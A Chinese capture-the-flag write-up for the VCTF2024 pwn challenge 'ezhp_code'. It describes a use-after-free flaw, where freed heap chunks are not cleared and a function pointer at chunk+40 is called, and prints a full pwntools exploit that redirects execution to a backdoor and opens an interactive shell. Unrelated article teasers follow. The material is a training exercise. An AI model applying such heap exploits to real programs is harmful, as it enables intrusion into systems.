[VCTF2024纳新赛]-PWN:ezhp_code解析

查看保护

查看ida

简单来说就是创建堆块和删除堆块而已,创建堆块的函数附带有写入函数。

但这里要注意一个程序里面的特殊的地方

在我们创建堆块时,程序会先创建一个0xa0大小堆块,并且这个地方还有个特殊的check_handle函数,如果在这个堆块地址+40的地方如果有函数地址,就会跳转执行。

并且创建堆块使用的时malloc,释放堆块也并没有清空堆块内容,所以我们可以加以利用。

完整exp:

from pwn import*
context(log_level='debug')
p=process('./heapcode')
backdoor=0x4012A5

def alloc(size,content):
    p.sendlineafter(b'3.exit',b'1')
    p.sendlineafter(b'Input your name:',b'aa')
    p.sendlineafter(b'The length you want to say:',str(size))
    p.sendlineafter(b'You say:',content)
def free():
    p.sendlineafter(b'3.exit',b'2')

alloc(0x90//2,p64(0)*5+p64(backdoor))
free()
alloc(0x10,p64(0))
p.sendlineafter(b'3.exit',b'1')
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/464287.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

SpringBoot(整合MyBatis + MyBatis-Plus + MyBatisX插件使用)

文章目录 1.整合MyBatis1.需求分析2.数据库表设计3.数据库环境配置1.新建maven项目2.pom.xml 引入依赖3.application.yml 配置数据源4.Application.java 编写启动类5.测试6.配置类切换druid数据源7.测试数据源是否成功切换 4.Mybatis基础配置1.编写映射表的bean2.MonsterMapper…

✅技术社区—通过Canal框架实现MySQL与ElasticSearch的数据同步

Canal 是一个由阿里巴巴开源的,基于 Java 的数据库变更日志解析的中间件,其原理是基于Binlog订阅的方式实现,模拟一个MySQL Slave 订阅Binlog日志,从而实现CDC,主要用于实现 MySQL 数据库的增量数据同步。它主要的使用…

理解计算属性等

计算属性 计算属性的作用是将写在computed内的写了对应的属性名,属性值都是函数,将这属性值的函数调用之后的返回值赋给属性名的变量。因此其实计算属性内的是值,不是方法,因此写插值等语句是只是写变量,而不是调用。且…

第三篇 - 概述- IAB受众和技术标准 - IAB视频广告标准《数字视频和有线电视广告格式指南》

第三篇 - 概述- IAB受众和技术标准​​​​​​​ - 我为什么要翻译介绍美国人工智能科技公司IAB技术标准系列(2) 本文目录 一、IAB技术实验室简介 二、概述及IAB受众 三、资源- IAB倡导的相关视频广告技术标准 四、案例分享-介绍一家数字化营销服务…

STM32F407_多点电容触摸(GT911)驱动

目录标题 前言1、简单介绍2、触摸芯片与主机的硬件连接3、内部寄存器3.1、控制寄存器(0X8040)3.2、配置寄存器组(0X8047~0X8100)3.3、状态寄存器(0x814E)3.4、坐标寄存器(0x8150-0x8177) 4、初始化流程4.1、IIC地址选择4.2、更新G…

OpenHarmony—应用UX设计原则

设计原则 当为多种不同的设备开发应用时,有如下设计原则: 差异性 充分了解所要支持的设备,包括屏幕尺寸、交互方式、使用场景、用户人群等,对设备的特性进行针对性的设计。 一致性 除了要考虑每个设备的特性外,还…

修复 error Delete `␍` prettier/prettier 错误

修复 error Delete ␍ prettier/prettier 错误 问题背景报错信息报错原因解决办法修改CRLF----针对单个文件yarn run lint --fix 一键修复(官方提供) 问题背景 今天在使用 openapi 自动生成前端接口代码的时候,爆了一个类似 eslint 规范的错…

AtCoder Beginner Contest 345 A - E 题解

A - Leftrightarrow 思路 判断第一个字符是否为&#xff0c;最后一个字符是否为&#xff0c;都满足的话&#xff0c;再判断中间字符是否都为 代码 #include<iostream> using namespace std; #define int long longbool check(string s){int ns.size();if(s[0]!<) …

Elasticsearch 索引库操作 文档操作

索引库就类似数据库表&#xff0c;mapping映射就类似表的结构。要向es中存储数据&#xff0c;必须先创建“库”和“表”。 mapping映射属性 mapping是对索引库中文档的约束&#xff0c;常见的mapping属性包括&#xff1a; type&#xff1a; 字段数据类型&#xff0c;常见的简…

Gogs 创建新的仓库并提交代码

Gogs 创建新的仓库并提交代码 1. 登录2. 仓库 -> 我的仓库3. 创建新的仓库4. 仓库5. Copy6. 公开代码​7. 提交成功 Gogs - gitReferences Gogs 是一款极易搭建的自助 Git 服务。 1. 登录 2. 仓库 -> 我的仓库 3. 创建新的仓库 4. 仓库 5. Copy 6. 公开代码 strongfo…

SpringBoot(RESTful,统一响应结构,输出日志,增删改查功能,分页功能,批量删除,常见bug)【详解】

目录 一、准备工作 1. 前后端分离开发流程 2. 开发规范 1.RESTful请求风格 2.统一响应结果 3.代码中输出日志 二、部门管理&#xff08;增删改查功能&#xff09; 1. 查询部门列表 2. 删除部门 3. 新增部门 4. 修改部门 三、员工管理&#xff08;分页功能和批量删除…

数字后端 EDA 软件分享

数字后端 EDA 软件分享 推荐这几家的EDA工具吧&#xff0c;虽说我也支持国产工具&#xff0c;但是我还是选择了这几家的工具 apache cadence mentor synopsys 下图我现在用的eda环境&#xff0c;利用网上的资源&#xff0c;自己独立在vmware上搭建好的EDA环境 除去pdk&#…

MySQL语法分类 DQL(6)分页查询

为了更好的学习这里给出基本表数据用于查询操作 create table student (id int, name varchar(20), age int, sex varchar(5),address varchar(100),math int,english int );insert into student (id,name,age,sex,address,math,english) values (1,马云,55,男,杭州,66,78),…

Matlab/simulink基于模糊PID智能控制的温度控制系统建模仿真

参考文献 Matlab/simulink基于模糊PID智能控制的温度控制系统建模仿真 该系统主要对某小区换热站的温度控制策略和控制方案进行了设计&#xff0c;其设计内 容主要包括三部分。首先是基于模糊PID智能控制的温度控制系统设计。在温度控制 算法方面&#xff0c;该设计于传统的P…

MySQL实战:监控

监控指标 性能类指标 名称说明QPS数据库每秒处理的请求数量TPS数据库每秒处理的事务数量并发数数据库实例当前并行处理的会话数量连接数连接到数据库会话的数量缓存命中率Innodb的缓存命中率 功能类指标 名称说明可用性数据库是否正常对外提供服务阻塞当前是否有阻塞的会话…

操作系统:malloc与堆区内存管理

malloc是函数而不是系统调用&#xff0c;他的底层是同调调用brk和mmap这两个系统调用实现功能的&#xff0c;具体选择brk还是mmap要看申请的空间大小以及malloc中的阈值&#xff08;一般是128kb&#xff09; 注意申请的空间只有使用才会触发缺页中断映射到物理内存 不理解的话先…

搞机笔记 MI8 dipper

刷回MIUI 之前刷了 lineage-19.1-20220728-nightly-dipper-signed 基于安卓12&#xff0c;实现了以下功能 TWRPmagisk & ROOTmicroG 退回MIUI的原因有&#xff1a; lineage 墓碑 管不住APP后台&#xff0c;太卡了MIUI提供了3GB的虚拟内存lineage 不支持人脸识别lineag…

小蓝的漆房——算法思路

题目链接&#xff1a;1.小蓝的漆房 - 蓝桥云课 (lanqiao.cn) 本题只要是通过枚举的方法&#xff0c;算出涂成每一种颜色所需的天数&#xff0c;最后在所有天数中找出最小值&#xff08;由题可知&#xff0c;最多只有60种颜色&#xff0c;所以可以尝试算出每种颜色所需的时间&am…

在雄安新区买新房要注意什么?有哪些注意事项?

雄安新区新建住宅均价每平方米11735元起&#xff0c;二手房每平方米8950元起。 整体价格非常有优势。 雄安新区房价走势与区域发展直接相关。 而且&#xff0c;雄安新区已经成立五周年了。 2022年&#xff0c;雄安新区多项重点项目将陆续竣工。 雄安新区城市基础设施建设已初具…

Spring注解开发(Spring学习笔记六)

1、在Spring4之后&#xff0c;要使用注解开发&#xff0c;必须保证aop包的导入 2、使用注解需要导入context约束&#xff0c;增加注解的支持(没有注解和支持注解是使用不了的) <?xml version"1.0" encoding"UTF-8"?> <beans xmlns"http:/…